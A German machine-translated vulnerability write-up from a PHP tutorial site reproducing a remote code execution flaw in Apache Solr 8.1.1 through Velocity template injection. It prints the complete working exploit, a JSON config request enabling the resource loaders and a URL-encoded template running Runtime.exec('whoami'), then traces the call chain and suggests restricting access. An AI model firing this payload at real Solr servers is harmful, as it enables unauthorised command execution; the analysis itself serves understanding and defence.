Inhaltsverzeichnis
Einführung
Wiederkehr der Sicherheitslücke
Prinzip
Heim Betrieb und Instandhaltung Sicherheit So analysieren Sie die neueste RCE-Schwachstelle in Apache Solr

So analysieren Sie die neueste RCE-Schwachstelle in Apache Solr

May 25, 2023 pm 06:58 PM
rce apache solr

Einführung

Eine RCE-0day-Schwachstelle wurde in Apache Solr entdeckt (die Schwachstellennummer wird nicht angegeben). Hier reproduzieren wir einfach das Objekt und analysieren den gesamten RCE-Prozess als Referenz.

Wiederkehr der Sicherheitslücke

Reproduktionsversion: 8.1.1

Zur Implementierung von RCE sind zunächst zwei Schritte erforderlich: Bestätigen Sie zunächst, dass die Anwendung einen bestimmten Kern aktiviert hat (kann in Core Admin angezeigt werden), und die Anwendung in der Instanz hat mycore aktiviert.

怎样进行Apache Solr最新RCE漏洞分析

Dann senden Sie zuerst die folgenden JSON-Daten an seine Konfigurationsschnittstelle,

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
Nach dem Login kopieren

怎样进行Apache Solr最新RCE漏洞分析

Dann besuchen Sie die folgende URL, um RCE zu implementieren,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Nach dem Login kopieren

Prinzip

Analysieren Sie zuerst das erste Datenpaket, weil Da es sich um eine Mycore-Konfiguration handelt, setzen wir zunächst den Haltepunkt für die handleRequestBody-Funktion von SolrConfigHandler, der die Konfigurationsanforderung verarbeitet. Da es sich um eine POST-Anfrage handelt, folgen Sie der Funktion handlePOST. Nehmen Sie zuerst heraus mycore Die aktuelle Konfiguration wird gleichzeitig mit der von uns gesendeten Konfiguration in die Funktion handleCommands übernommen. In nachfolgenden Vorgängen wird schließlich die Funktion addNamedPlugin eingegeben und ein VelocityResponseWriter-Objekt mit solr.resource.loader.enabled und Parametern erstellt. Ressource: Der Wert von „loader.enabled“ ist auf „true“ gesetzt und der Name des Objekts ist „Velocity“.

怎样进行Apache Solr最新RCE漏洞分析

Wenn dann das zweite Datenpaket gesendet wird und der ResponseWriter in HttpSolrCall.call abgerufen wird, wird das ResponseWriter-Objekt entsprechend dem Wert des Parameters wt abgerufen. Wenn wt die Geschwindigkeit ist, erhalten wir das sorgfältig konfigurierte Objekt Nach einer Reihe nachfolgender Aufrufe ruft VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析 schließlich die VelocityResponseWriter.write-Funktion auf, die in unserer Schwachstelle am schwerwiegendsten ist. Zunächst wird die Funktion „createEngine“ aufgerufen, um eine schädliche Vorlage mit „custom.vrm“ zu generieren. >payload.engine,

怎样进行Apache Solr最新RCE漏洞分析Die schädliche Vorlage wird in params.resource.loader.instance und solr.resource.loader.instance der OverridingProperties der Engine platziert

怎样进行Apache Solr最新RCE漏洞分析

Hier gibt es einen sehr wichtigen Punkt, wenn Sie möchten die schädliche Vorlage erstellen. Geben Sie params.resource.loader.instance und solr.resource.loader.instance ein. Sie müssen sicherstellen, dass paramsResourceLoaderEnabled und solrResourceLoaderEnabled True sind. Dies ist, was unser erstes Datenpaket tut,

怎样进行Apache Solr最新RCE漏洞分析

und dann erhält VelocityResponseWriter. getTemplate die bösartige Vorlage, die wir basierend auf dem von uns übermittelten v.template-Parameter erstellt haben.

怎样进行Apache Solr最新RCE漏洞分析

Schließlich haben wir die bösartige Vorlage herausgenommen und ihre Zusammenführungsmethode aufgerufen Ich muss es verstehen Velocity Java-Vorlagen-Engine (da diese Vorlage ein org.apache.velocity.Template-Klassenobjekt ist), wird die offizielle Aussage wie folgt übersetzt:

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
Nach dem Login kopieren

Aus dieser Aussage können wir ersehen, dass diese Vorlagen-Engine die Funktion hat Wir müssen nur die grundlegende Schreibmethode verstehen. 怎样进行Apache Solr最新RCE漏洞分析

// 变量定义
#set($name =“velocity”)
// 变量赋值
#set($foo = $bar)
// 函数调用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循环语法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 执行模板
template.merge(context, writer);
Nach dem Login kopieren
Mit der obigen grundlegenden Syntaxeinführung können wir die Konstruktionsmethode der Nutzlast verstehen. Wenn Sie ein tieferes Verständnis wünschen, können Sie die Velocity Java-Informationen selbst überprüfen , wir sind hier Keine Tiefe mehr.

Durch die Zusammenführungsmethode der zuletzt aufgerufenen bösartigen Vorlage wurde RCE erfolgreich verursacht und schließlich die Schlüsselaufrufkette hinzugefügt.

怎样进行Apache Solr最新RCE漏洞分析

Reparaturplan

怎样进行Apache Solr最新RCE漏洞分析Derzeit ist der offizielle Patch nicht verfügbar. Es wird empfohlen, den Zugriff auf Solr einzuschränken.

Das obige ist der detaillierte Inhalt vonSo analysieren Sie die neueste RCE-Schwachstelle in Apache Solr. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Wie man alles in Myrise freischaltet
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)